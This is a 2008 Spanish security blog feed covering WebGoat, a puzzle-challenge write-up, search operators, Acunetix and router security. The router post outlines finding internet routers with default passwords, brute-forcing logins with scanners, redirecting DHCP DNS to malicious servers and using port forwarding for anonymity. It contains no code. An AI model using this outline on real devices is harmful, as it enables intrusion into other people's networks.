src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-2275693847415000045</id><published>2008-11-12T00:37:00.001+01:00</published><updated>2008-11-12T00:37:33.867+01:00</updated><title type='text'>WebGoat y plugin para el firefox del acunetix</title><content type='html'>&lt;p align="justify"&gt;&lt;a href="http://code.google.com/p/webgoat/"&gt;WebGoat&lt;/a&gt; es una aplicaci&amp;#243;n Web preparada para descargarla y ejecutarla en tu equipo. Esta dise&amp;#241;ada intencionadamente con fallos y dividida en diversas fases que exploran las diferentes vulnerabilidades web que se suelen producir. En total tendr&amp;#225; unos 40 &amp;quot;retos&amp;quot;. &lt;/p&gt;  &lt;p align="justify"&gt;No os asust&amp;#233;is, os ayuda a superarlos mediante pistas si sois unos paquetes como yo, incluso hay unas video-soluciones. Me ayudo a comprender en que consist&amp;#237;an las inyecciones de CRLF.&lt;/p&gt;  &lt;p align="justify"&gt;Ya puestos me acord&amp;#233; del pluging del acunetix para firefox, ahora ya tiene habilitadas todas las opciones y encontr&amp;#243; un XSS en uno de los retos del WebGoat...siempre haciendo trampas:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/SRoXNQZ6LNI/AAAAAAAAADo/8iLszASoHnM/s1600-h/Acunetix%5B3%5D.png"&gt;&lt;img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="297" alt="Acunetix" src="http://lh5.ggpht.com/_FGFE7zLOsQk/SRoXO4njDoI/AAAAAAAAADs/FkIBCKXSOaw/Acunetix_thumb%5B1%5D.png?imgmax=800" width="392" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Corto y cambio.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-2275693847415000045?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/2275693847415000045/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/11/webgoat-y-plugin-para-el-firefox-del.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2275693847415000045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2275693847415000045'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/11/webgoat-y-plugin-para-el-firefox-del.html' title='WebGoat y plugin para el firefox del acunetix'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_FGFE7zLOsQk/SRoXO4njDoI/AAAAAAAAADs/FkIBCKXSOaw/s72-c/Acunetix_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-2877778848448018545</id><published>2008-11-11T02:04:00.001+01:00</published><updated>2008-11-11T02:04:17.464+01:00</updated><title type='text'>Como casi soluciono el reto 6 de S21Sec</title><content type='html'>&lt;p align="justify"&gt;Estaba un d&amp;#237;a revisando blogs y tal cuando me tope que justo acababan de publicar &lt;a href="http://blog.s21sec.com/2008/10/reto-6.html"&gt;el reto 6&lt;/a&gt; en el &lt;a href="http://blog.s21sec.com"&gt;blog de S21sec&lt;/a&gt;. &lt;/p&gt;  &lt;p align="justify"&gt;Para empezar en el texto del reto no estaba el reto...ya estamos. Lo primero fue ver el c&amp;#243;digo fuente, &amp;quot;seguro que hay alguna pista&amp;quot; y efectivamente, all&amp;#237; hay una frase muy rara: &lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;&amp;lt;!-- Hola, s&amp;#237;, el reto est&amp;#225; aqu&amp;#237;: Venga, 3,1,2, a ello!!!!: +&amp;gt;&amp;gt;+++++++++++++++++++++++++++++++++[+++&amp;lt; .....&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;Eso me sonaba a un lenguaje de programaci&amp;#243;n que hab&amp;#237;a visto en alguna parte, buscando por &amp;quot;lenguajes de programaci&amp;#243;n raros&amp;quot; encontr&amp;#233; que se llamaba brainfuck y en la wikipedia hab&amp;#237;a un enlace a un compilador/debugger, perfecto.&lt;/p&gt;  &lt;p align="justify"&gt;Seguro que es compilar y listo....NO. Eso no funcionaba, se quedaba pillado :( As&amp;#237; que toco entender un poco brainfuck y ver como hab&amp;#237;a much&amp;#237;simos bucles sin sentido, cabrones &amp;#191;y ahora que?&amp;#160; Ganas de matar en aumento.&lt;/p&gt;  &lt;p align="justify"&gt;Un descanso, una ducha y recuerdo eso de &amp;quot;venga 3, 1, 2 a ello&amp;quot;, eso era muy raro. &amp;#191;Se conmutar&amp;#225;n cada 3 instrucciones? &lt;/p&gt;  &lt;p align="justify"&gt;Eran 18.087 instrucciones, umm justo divisible por 3. As&amp;#237; que fui al final y mir&amp;#233; las &amp;#250;ltimas 3. &lt;strong&gt;.]&amp;lt; &lt;/strong&gt;habr&amp;#225; que ordenarlas de modo que hagan algo con sentido, y lo mas l&amp;#243;gico es que el programa acabe imprimiendo una letra con el ., as&amp;#237; que lo normal es que acabara as&amp;#237;: &lt;strong&gt;&amp;lt;]. &lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Realice esa conmutaci&amp;#243;n sobre todos los grupos de 3 instrucciones. Ejecute el programa y devolvi&amp;#243; una horrenda salida:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;Huk pawf, qv tq ohjgpdmmg sd xaiax rwd bmzga. Dsjs wntm hwjuwma rokw vwwee rwkusmgmflw wd nisiawflz fuqzwjg, yex emw qs yiedgfwk ga ocfljsnezws vw vzsowxjsvj. hmqzwlwoebshmfljpgblgtsmrmpsjjsrwidmflgnvqwflamioesuhmfooocetsjmapskusjbaepsjjsmefckwakbuucftsbjggwgftseorokwljzsbiflgrdp Niwfs kpedhw&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;Ganas de matar ++   &lt;br /&gt;Lo ojee un poco trat&amp;#233; de aplicar cesar y nada. Adem&amp;#225;s esas l&amp;#237;neas intermedias sin espacios entre los caracteres daban bastante miedo.&lt;/p&gt;  &lt;p align="justify"&gt;Tras estar a punto de mandarlo a tomar vientos, me fijo en que seguro que lo &amp;#250;ltimo que dice es &amp;quot;Buena suerte&amp;quot;&amp;#180;. Y que si as&amp;#237; fuera coincide que el 3 y el 11 car&amp;#225;cter que corresponden a la letra w serian la e de Buena suerte. Umm adem&amp;#225;s a una distancia de 8 caracteres, &amp;#191;ser&amp;#225; la clave de longitud 8? &lt;/p&gt;  &lt;p align="justify"&gt;Tras sacar los desplazamientos y pasarlo a caracteres se me queda la clave FAOMIIII y el texto se descifra, bieeeeen.&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;Muy bien, ya te aproximas al final del juego. Para esta tercera fase debes des- cargarte el siguiente fichero, del que ya dispones la contrasenia de descifrado. hachetetepepuntopuntobarrabarrawwwpuntosveintiunosecpuntocombarradescargasbarra- retoseisguionbajoguionbajofasetrespuntozip Buena suerte.&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;A descargar el fichero zip, voy a descomprimirle, pongo la clave de descifrado de antes y ZAS password incorrecto. Ganas de matar aumentando mas y mas.&lt;/p&gt;  &lt;p align="justify"&gt;Tras repostar un rato y pensarlo mas detalladamente record&amp;#233; que vigenere lo hab&amp;#237;a aplicado al rev&amp;#233;s. Ya que en la aplicaci&amp;#243;n web que use puse el texto cifrado como plano y la clave FAOMIIII, pero deber&amp;#237;a haberlo hecho al rev&amp;#233;s!! Y efectivamente la clave real era VAMOSSSS. Fichero descomprimido.&lt;/p&gt;  &lt;p align="justify"&gt;Pero el juego sigue mas y mas, no se cansan!! Abro el fichero y la cabecera dice que es un GIF, pero no lo reconoce ning&amp;#250;n programa. Leo un poco el RFC y veo que la longitud es absurda, 10 de alto por ~10000 de ancho. Cree un gif de ese tama&amp;#241;o para comparar la estructura y nada tenia sentido, el gif m&amp;#237;o ocupaba much&amp;#237;simo menos. Hay un hola y adios desconcertantes. Mikel da unas pistas de lo mas extra&amp;#241;as de vivaldi, mozart, bach. Nada tiene sentido. &lt;/p&gt;  &lt;p align="justify"&gt;Las ganas de matar llegan a su limite y abandono hasta nueva idea feliz que nunca lleg&amp;#243;.&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#160;&lt;/p&gt;  &lt;p align="justify"&gt;Hace unos d&amp;#237;as han publicado &lt;a href="http://blog.s21sec.com/2008/11/solucin-al-reto-6.html"&gt;la soluci&amp;#243;n&lt;/a&gt; en ella, &lt;a href="http://www.s21sec.com/descargas/Sol_reto6_Dani_Kachakil.pdf"&gt;Dani Kachakill&lt;/a&gt; y &lt;a href="http://www.s21sec.com/descargas/Sol_reto6_Oriol_JoseCarlos.txt"&gt;Dreyer &amp;amp; Uri&lt;/a&gt; han puesto el solucionar&amp;#237;o del reto completo siguiendo unos procedimientos muy correctos y bien explicados.&lt;/p&gt;  &lt;p align="justify"&gt;Lo que me falto fue identificar que ese &amp;#250;ltimo fichero no era un GIF sino un archivo WAV :S Nunca lo habr&amp;#237;a logrado.&lt;/p&gt;  &lt;p align="justify"&gt;Muerte a los retos.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-2877778848448018545?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/2877778848448018545/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/11/como-casi-soluciono-el-reto-6-de-s21sec.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2877778848448018545'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2877778848448018545'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/11/como-casi-soluciono-el-reto-6-de-s21sec.html' title='Como casi soluciono el reto 6 de S21Sec'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-3985028564666102706</id><published>2008-11-07T01:06:00.002+01:00</published><updated>2008-11-07T01:06:43.126+01:00</updated><title type='text'>¿Sabias que ?...</title><content type='html'>&lt;p style="text-align: justify;"&gt;Live Search permite buscar todos los &lt;a href="http://search.live.com/results.aspx?q=ip%3A194.169.201.186&amp;amp;go=&amp;amp;form=QBRE"&gt;dominios que pertenecen (y tiene indexados) a una determinada IP&lt;/a&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;También tiene las opciones típicas: &lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;ul style="text-align: justify;"&gt;   &lt;li&gt;Buscar por tipo del fichero: &lt;strong&gt;filetype:doc &lt;/strong&gt;&lt;/li&gt;    &lt;li&gt;Buscar páginas por la localización: &lt;strong&gt;loc:IR&lt;/strong&gt; &lt;/li&gt;    &lt;li&gt;Lo típico: intile, inbody, site&lt;/li&gt;    &lt;li&gt;Permitía usar inurl y otras cosillas &lt;a href="http://blogs.msdn.com/livesearch/archive/2007/03/28/we-are-flattered-but.aspx"&gt;hasta que lo quitaron por ser usado maliciosamente&lt;/a&gt;. ¿Y eso les importará realmente?&lt;/li&gt; &lt;/ul&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Extrañamente permite especificar la popularidad, actualidad de la página y el énfasis ¿?&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;blockquote&gt;   &lt;p&gt;{mtch=foo}    
Larger number (0-100) places more emphasis on the match between your exact search words and your results.     
{popl=foo}     
Greater number (0-100) means more links to the page.     
{frsh=foo}     
Greater number (0-100) means more likely updated recently.&lt;/p&gt; &lt;/blockquote&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Bueno, puede que para lo de la ip y quizás, lo dudo, esto último de la PoPularidad use Live search, para todo lo demás &lt;a href="http://www.google.es/search?q=116820665"&gt;Google&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-3985028564666102706?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/3985028564666102706/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/11/sabias-que.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3985028564666102706'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3985028564666102706'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/11/sabias-que.html' title='¿Sabias que ?...'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-8447687948809462012</id><published>2008-11-01T11:43:00.001+01:00</published><updated>2008-11-01T11:43:01.843+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='información'/><title type='text'>Para pasar el finde relajadamente</title><content type='html'>&lt;p&gt;Unos art&amp;#237;culos del argentino Hern&amp;#225;n M.Racciatti:   &lt;br /&gt;&lt;a title="http://www.hernanracciatti.com.ar/articles.html" href="http://www.hernanracciatti.com.ar/articles.html"&gt;http://www.hernanracciatti.com.ar/articles.html&lt;/a&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;img height="12" src="http://www.hernanracciatti.com.ar/img/li.gif" width="8" border="0" /&gt; Revista @arroba      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/HMRNEW/articles/HPP24_cih2k5.pdf"&gt;&lt;u&gt;&lt;/u&gt;&lt;/a&gt;&lt;u&gt;&lt;a href="http://www.hernanracciatti.com.ar/articles/HPP24_cih2k5.pdf"&gt;&lt;u&gt;Congreso Internacional de Hackers 2005&lt;/u&gt;&lt;/a&gt;&lt;/u&gt; (Ago.2005)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/articles/HPP24_SQL_Injection.pdf"&gt;&lt;u&gt;SQL Injection&lt;/u&gt;&lt;/a&gt; (Ago.2005)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/articles/HPP25_Metasploit.pdf"&gt;&lt;u&gt;Hack Built-in: Metasploit Framework&lt;/u&gt;&lt;/a&gt; (Sep.2005)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/articles/HPP25_Metodologias.pdf"&gt;&lt;u&gt;Metodolog&amp;#237;as de Testeo de la Seguridad&lt;/u&gt;&lt;/a&gt; (Sep.2005)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/articles/HPP26_El_Futuro_de_los_Pentest.pdf"&gt;&lt;u&gt;El Futuro de los Penetration Test: 0 days&lt;/u&gt;&lt;/a&gt; (Oct.2005)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/articles/HPP26_Seguridad_en_Base_de_Datos.pdf"&gt;&lt;u&gt;Seguridad en Base de Datos&lt;/u&gt;&lt;/a&gt; (Oct.2005)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/HMRNEW/articles/HPP27_HTTP_Fingerprinting.pdf"&gt;&lt;/a&gt;&lt;a href="http://www.hernanracciatti.com.ar/articles/HPP27_HTTP_Fingerprinting.pdf"&gt;&lt;u&gt;HTTP Fingerprinting&lt;/u&gt;&lt;/a&gt; (Nov.2005)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/articles/HPP27_Seguridad_en_Aplicaciones_Web.pdf"&gt;&lt;u&gt;Seguridad en Aplicaciones Web&lt;/u&gt;&lt;/a&gt; (Nov.2005)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/HMRNEW/articles/HPP28_Hacking_Google.pdf"&gt;&lt;/a&gt;&lt;a href="http://www.hernanracciatti.com.ar/articles/HPP28_Hacking_Google.pdf"&gt;&lt;u&gt;Hacking Google&lt;/u&gt;&lt;/a&gt; (Dic.2005)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/HMRNEW/articles/HPP28_Fuzzers.pdf"&gt;&lt;/a&gt;&lt;a href="http://www.hernanracciatti.com.ar/articles/HPP28_Fuzzers.pdf"&gt;&lt;u&gt;Fuzzers: Una Introducci&amp;#243;n&lt;/u&gt;&lt;/a&gt; (Dic.2005)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/articles/HPP29_Aprendiendo_Seguridad.pdf"&gt;&lt;u&gt;Aprendiendo Seguridad en Forma Pr&amp;#225;ctica&lt;/u&gt;&lt;/a&gt; (Ene.2006)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/articles/HPP29_Hardening_Windows%20_IPFront.pdf"&gt;&lt;u&gt;Hardening Windows: IPFront&lt;/u&gt;&lt;/a&gt; (Ene.2006)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/HMRNEW/articles/HPP30_HHS.pdf"&gt;&lt;/a&gt;&lt;a href="http://www.hernanracciatti.com.ar/articles/HPP30_HHS.pdf"&gt;&lt;u&gt;Escuela de Hackers: HHS&lt;/u&gt;&lt;/a&gt; (Feb.2006)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/articles/HPP30_Redireccionamiento.pdf"&gt;&lt;u&gt;Re-Direccionamiento de Puertos&lt;/u&gt;&lt;/a&gt; (Feb.2006)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/articles/HPP31_Nessus.pdf"&gt;&lt;u&gt;Nessus: Una Introducci&amp;#243;n&lt;/u&gt;&lt;/a&gt; (Mar.2006)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/HMRNEW/articles/HPP31_Oracle.pdf"&gt;&lt;/a&gt;&lt;a href="http://www.hernanracciatti.com.ar/articles/HPP31_Oracle.pdf"&gt;&lt;u&gt;Oracle: (In)rrompible&lt;/u&gt;&lt;/a&gt; (Mar.2006)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/articles/HPP31_TOR.pdf"&gt;&lt;u&gt;Proyecto TOR&lt;/u&gt;&lt;/a&gt; (Mar.2006)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/articles/HPP34_Deteccion_y_Evasion.pdf"&gt;&lt;u&gt;Detecci&amp;#243;n y Evasi&amp;#243;n&lt;/u&gt;&lt;/a&gt; (Jun.2006)&lt;/p&gt;    &lt;p&gt;&lt;img height="12" src="http://www.hernanracciatti.com.ar/img/li.gif" width="8" border="0" /&gt; Revista NEX IT      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/articles/NEX20_Testeo_de_la_Seguridad.pdf"&gt;&lt;u&gt;Testeo de la Seguridad: Una Acci&amp;#243;n Metodol&amp;#243;gica&lt;/u&gt;&lt;/a&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/articles/NEX22_Metasploit.pdf"&gt;&lt;u&gt;Metasploit Framework: Una Introducci&amp;#243;n&lt;/u&gt;&lt;/a&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; - &lt;a href="http://www.hernanracciatti.com.ar/articles/NEX26_ISSAF.pdf"&gt;&lt;u&gt;Information System Security Assessment (ISSAF)&lt;/u&gt;&lt;/a&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;De 5-20 p&amp;#225;ginas de agradable lectura. Perfectos para la resaca, &amp;#191;no?   &lt;br /&gt;Seguro que algo interesante se aprende de todos ellos.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-8447687948809462012?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/8447687948809462012/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/11/para-pasar-el-finde-relajadamente.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/8447687948809462012'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/8447687948809462012'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/11/para-pasar-el-finde-relajadamente.html' title='Para pasar el finde relajadamente'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-4123303929956860475</id><published>2008-10-30T01:00:00.002+01:00</published><updated>2008-10-30T12:10:18.989+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Acunetix'/><title type='text'>Acunetix Web Vulnerability Scanner 6.0, ahora si amigo !</title><content type='html'>&lt;p style="text-align: justify;"&gt;Ayer miércoles 29 salió oficialmente la versión 6, &lt;a href="http://el-blog-de-thor.blogspot.com/2008/10/acunetix-web-vulnerability-scanner-60.html"&gt;como venia sospechando&lt;/a&gt; :P&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;A destacar hay un módulo exclusivo para Blind SQL Injection, permite extraer la base de datos al mas puro estilo &lt;a href="http://www.0x90.org/releases/absinthe/download.php"&gt;absinthe&lt;/a&gt; funciona con MySQL y MsSQL. &lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;La condición para detectar la inyección debe ser una cadena que se puede especificar mediante una expresión regular. ¿Quizás debería ser mas flexible?&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Hay un apartado para inyecciones a ciegas basadas en tiempo pero parece estar deshabilitado :(&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;También permite extraer ficheros mediante la inyección y ejecutar una sentencia que le digamos :)&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Habrá que probar...&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-4123303929956860475?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/4123303929956860475/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/10/acunetix-web-vulnerability-scanner-60_30.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/4123303929956860475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/4123303929956860475'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/10/acunetix-web-vulnerability-scanner-60_30.html' title='Acunetix Web Vulnerability Scanner 6.0, ahora si amigo !'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-2303866516781889090</id><published>2008-10-28T21:01:00.002+01:00</published><updated>2008-10-28T21:02:16.987+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='router'/><category scheme='http://www.blogger.com/atom/ns#' term='Fast http auth scanner'/><title type='text'>Nuestros queridos amigos los routers</title><content type='html'>&lt;p align="justify"&gt;Los routers al fin y al cabo son miniordenadores, así que en gran medida se puede hacer exactamente lo mismo que con un ordenador. &lt;/p&gt;  &lt;p align="justify"&gt;Lo bonito de los routers es que permiten administrarlos remotamente, bien mediante telnet o una interfaz web. Y si se tiene acceso como administrador a ellos se pueden hacer cosas muy chulas. &lt;/p&gt;  &lt;p align="justify"&gt;Que yo sepa se pueden modificar los DNS que da DHCP de modo que todos los equipos que se conecten a partir de ese momento al router y obtengan la IP por DHCP usarán esos servidores DNS, que por supuesto podrían ser maliciosos. También se puede crear "redirecciones de puertos", NAT o como quiera Dios llamarlo.  
De este modo se pueden usar para realizar conexiones desde tu equipo al router por un puerto específico y que este las redirija a una dirección IP que le digamos. &lt;/p&gt;  &lt;p align="justify"&gt;Recuerdo que _Q_ de &lt;a href="http://www.indetectables.net/"&gt;indetectables.net&lt;/a&gt; hace años usaba esto para acceder al IRC cuando le baneaban por usar botijos. También Puede ser útil para estas páginas de descarga de archivos que te limitan el ancho de banda por IP. Y también es útil para ocultar nuestra dirección IP, un poco de anonimato nunca está mal, ¿no? &lt;/p&gt;  &lt;p align="justify"&gt;Se puede configurar los routers para que solo puedan ser administrados desde el puerto serial o solo desde la red local, esto únido a una combinación sensata de user:pass hace que sean lo suficientemente seguros. &lt;/p&gt;  &lt;p align="justify"&gt;El problema es que muchos routers vienen con passwords por defecto, root, admin, 1234, etc... Y con la administración remota activada, incluso para IPS externas. &lt;/p&gt;  &lt;p align="justify"&gt;Para encontrar estos cacharros podemos usar nmap o algún otro escaner de puertos, en busca de los puertos 23 y 80. Claro que después tendríamos que acceder para comprobar que es un panel de  
administración de un router y no un servidor web. Y por último probar los diferentes passwords, algo que podríamos automatizar con &lt;a href="http://www.edge-security.com/wfuzz.php"&gt;Wfuzz&lt;/a&gt; o &lt;a href="http://www.acunetix.com/"&gt;acunetix&lt;/a&gt;. &lt;/p&gt;  &lt;p align="justify"&gt;Pero...¿y si juntamos todo esto?  
Pues Andres Tarasco lo pensó mucho antes y realizó este programa:   
&lt;a href="http://www.514.es/fscan.zip"&gt;Fast HTTP Auth Scanner&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Unos manuales de uso y referencias:  
&lt;a href="http://www.514.es/2007/07/fast_http_auth_scanner.html"&gt;http://www.514.es/2007/07/fast_http_auth_scanner.html&lt;/a&gt;   
&lt;a href="http://www.indetectables.net/foro/viewtopic.php?f=8&amp;amp;t=3623"&gt;http://www.indetectables.net/foro/viewtopic.php?f=8&amp;amp;t=3623&lt;/a&gt;   
&lt;a href="http://elladodelmal.blogspot.com/2007/07/fast-http-auth-scanner-por-tarasco.html"&gt;http://elladodelmal.blogspot.com/2007/07/fast-http-auth-scanner-por-tarasco.html&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Yo andaba tan feliz aprendiendo a usarlo, añadiendo algunos logins cuando ZAS !!  
&lt;a href="http://lh5.ggpht.com/xyzthor/SQdvh1Ky1aI/AAAAAAAAADY/jCS8_RtdTT0/fscan%20fallo%5B17%5D.png"&gt;&lt;img style="border: 0px none ;" alt="fscan fallo" src="http://lh4.ggpht.com/xyzthor/SQdviUHP54I/AAAAAAAAADk/m0rUG5me5WY/fscan%20fallo_thumb%5B15%5D.png" width="403" border="0" height="151" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Le puse una combinación user:pass algo larga :P&lt;/p&gt;    &lt;p align="justify"&gt;...En próximos capítulos...  
¿Lograré corregir el fallo?   
¿Existe la versión 1.0 de esta herramienta?   
¿Y si concatenamos un puñado de routers?   
